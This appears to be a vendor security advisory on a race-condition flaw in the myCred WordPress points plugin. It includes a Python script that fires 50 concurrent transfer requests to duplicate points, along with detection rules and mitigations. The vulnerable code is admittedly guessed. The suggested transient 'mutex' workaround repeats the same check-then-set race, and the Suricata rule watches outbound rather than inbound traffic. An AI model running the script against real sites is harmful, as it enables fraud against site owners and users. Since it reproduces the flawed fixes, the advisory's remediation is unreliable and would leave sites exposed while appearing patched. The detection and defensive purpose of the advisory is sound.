CVE-2025-54667

Executive Summary

CVE-2025-54667 is a Time-of-check Time-of-use (TOCTOU) race condition vulnerability affecting the WordPress plugin myCred by Saad Iqbal, up to version 2.9.4.3. This vulnerability allows an authenticated attacker with low privileges to exploit a race window between a security check and the actual resource operation, potentially leading to unauthorized point manipulation, privilege escalation, or data corruption within the myCred points management system. The vulnerability has a CVSS score of 5.3 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. myCred is a popular points management plugin distributed through the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for official updates. Since no patch is available, supply chain risk is elevated, and users must rely on alternative mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires precise timing and race condition exploitation.
• Privileges Required (PR): Low (L) – Attacker needs a valid low-privilege account.
• User Interaction (UI): None (N) – No victim action required.
• Scope (S): Unchanged (U) – Exploit stays within the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for chaining with other vulnerabilities increases the risk for WordPress sites using myCred.

Deep Dive & Mechanics

The vulnerability is a classic TOCTOU race condition. In the myCred plugin, when a user performs an action that modifies their points balance (e.g., transferring points, redeeming rewards), the plugin performs a security check (e.g., verifying user permissions or balance sufficiency) before executing the actual database update. However, due to improper locking or atomic operations, there is a time window between the check and the use of the resource.

An attacker can exploit this by sending multiple concurrent requests that pass the initial check before the first request completes the update. This can lead to:

• Points Inflation: The same points being spent multiple times.
• Unauthorized Transfers: Transferring points from another user's account.
• Privilege Escalation: If points are tied to user roles or capabilities.

The race window is typically very small (microseconds to milliseconds), but can be reliably exploited using techniques like HTTP pipelining, concurrent connections, or scripted timing attacks.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern.

Vulnerable Code Pattern (PHP):

// Vulnerable: Check then use without locking
function redeem_points($user_id, $points_to_spend) {
    $current_balance = get_user_meta($user_id, 'mycred_balance', true);
    if ($current_balance >= $points_to_spend) {
        // Race window: multiple requests can pass this check
        $new_balance = $current_balance - $points_to_spend;
        update_user_meta($user_id, 'mycred_balance', $new_balance);
        return true;
    }
    return false;
}

Patched Code Pattern (Hypothetical):

// Patched: Use atomic database operations or proper locking
function redeem_points($user_id, $points_to_spend) {
    global $wpdb;
    // Use atomic SQL update with condition
    $result = $wpdb->query(
        $wpdb->prepare(
            "UPDATE {$wpdb->usermeta} 
             SET meta_value = meta_value - %d 
             WHERE user_id = %d 
             AND meta_key = 'mycred_balance' 
             AND meta_value >= %d",
            $points_to_spend,
            $user_id,
            $points_to_spend
        )
    );
    return $result > 0;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with myCred plugin version <= 2.9.4.3
• A low-privilege user account (e.g., subscriber)
• Ability to send concurrent HTTP requests

Exploitation Steps:

1. Identify the vulnerable endpoint: Look for AJAX actions or form submissions that modify points (e.g., mycred-transfer-points, mycred-redeem).

2. Craft concurrent requests: Use a tool like curl with parallel execution or a Python script.

3. Exploit the race condition:

import requests
import threading

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
user_cookies = {"wordpress_logged_in": "your_session_cookie"}
points_action = "mycred_transfer_points"

def send_request():
    data = {
        "action": points_action,
        "recipient": 2,
        "amount": 100,
        "nonce": "valid_nonce"
    }
    response = requests.post(target_url, cookies=user_cookies, data=data)
    print(response.text)

# Launch 50 concurrent requests
threads = []
for i in range(50):
    t = threading.Thread(target=send_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Expected Outcome: The attacker's balance may decrease by only 100 points, but the recipient receives multiple transfers, effectively duplicating points.

Blue Team

Detection & Prevention:

1. Monitor for rapid, repeated AJAX requests to myCred endpoints from the same user.
2. Implement rate limiting on point-modifying actions.
3. Use database transactions with proper isolation levels.
4. Apply optimistic locking using version fields in the database.
5. Temporarily disable the myCred plugin if no patch is available.

Lab Setup for Testing:

• Install WordPress with myCred 2.9.4.3 on a local server (e.g., XAMPP, Docker).
• Create two test users: one attacker (subscriber) and one victim (admin).
• Use the Python script above to test the race condition.
• Monitor database changes using phpMyAdmin or WP CLI.

Indicators of Compromise (IOCs)

• Network: Multiple rapid POST requests to /wp-admin/admin-ajax.php with action=mycred_* parameters from the same IP.
• Logs: WordPress debug log entries showing unexpected balance changes or failed nonce checks.
• Database: Abnormal point balances, multiple transfer records within milliseconds, or orphaned meta entries.
• File: Modified mycred plugin files (check file integrity via checksums).

Detection Engineering

YARA Rule

rule CVE_2025_54667_myCred_TOCTOU {
    meta:
        description = "Detects potential TOCTOU exploitation attempts against myCred plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54667"
    strings:
        $ajax_action = "mycred_" nocase
        $balance_check = "get_user_meta" nocase
        $balance_update = "update_user_meta" nocase
        $race_window = "current_balance" nocase
    condition:
        all of ($ajax_action, $balance_check, $balance_update) or
        ($race_window and #balance_check > 1)
}

Sigma Rule

title: CVE-2025-54667 myCred TOCTOU Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid concurrent requests to myCred AJAX endpoints indicating TOCTOU exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "action=mycred_"
    timeframe: 5s
    condition: selection | count() by c-ip > 10
falsepositives:
    - Legitimate high-frequency usage (e.g., automated scripts)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-54667 myCred TOCTOU Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=mycred_"; http_client_body;
    threshold: type both, track by_src, count 10, seconds 5;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the myCred plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to rate-limit myCred AJAX requests.
3. Monitor user activity for unusual point transfer patterns.

Long-term Fix:

• Apply the vendor patch when released (check https://wordpress.org/plugins/mycred/).
• If you are a developer, implement atomic database operations as shown in the patched code example.
• Consider using a transaction-safe points management system.

Workaround:

• Add custom code to your theme's functions.php to introduce a mutex lock:

function mycred_atomic_transfer($user_id, $amount) {
    $lock_key = 'mycred_lock_' . $user_id;
    if (get_transient($lock_key)) {
        return false; // Another operation in progress
    }
    set_transient($lock_key, true, 2); // 2-second lock
    // Perform the transfer
    delete_transient($lock_key);
    return true;
}

Valters IT
Securing Digital Frontiers